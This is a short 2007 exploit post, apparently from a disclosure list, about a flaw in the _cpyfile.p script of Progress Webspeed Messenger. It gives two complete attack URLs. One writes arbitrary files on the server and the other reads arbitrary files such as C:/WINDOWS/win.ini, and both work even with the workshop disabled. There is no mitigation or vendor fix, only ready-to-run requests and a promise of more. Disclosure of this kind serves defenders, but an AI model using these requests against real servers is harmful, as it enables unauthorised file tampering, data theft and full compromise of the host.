Huge security issue Progress Webspeed Messenger

_cpyfile.p exploit 1. create a file. 24-4-2007
author: Eelko Neven
discovered: 22-4-2007

Because of a flaw in _cpyfile.p it is possible to gain full control of
a machine running Progress Webspeed Messenger.  You can access, change
and edit allmost any file on the server running the Webspeed Messenger
even when the workshop is disabled.

First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1

just add the following to the url:
/webutil/_cpyfile.p?
options=save,editor&tempFile=dummy.tmp&fileName=test3.p&action=last&section=1&txt0=Test
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:\root.txt&action=last&section=1&txt0=Test

When you execute this, the script will generate a file c:\root.txt
which contains the text Test
For a Linux host just change the filename=C:\root.txt into filename=
\root.txt



_cpyfile.p exploit 2. view a file in the propath. 24-4-2007
author: Eelko Neven
discovered: 22-4-2007

First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1

just add the following to the url:
/webutil/_cpyfile.p?options=open,editor&filename=C:/WINDOWS/win.ini
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=open,editor&filename=C:/WINDOWS/win.ini

When you execute this, you will see the content of the C:/WINDOWS/
win.ini file in your browser.


MORE TO FOLLOW


http://www.ishare.nl/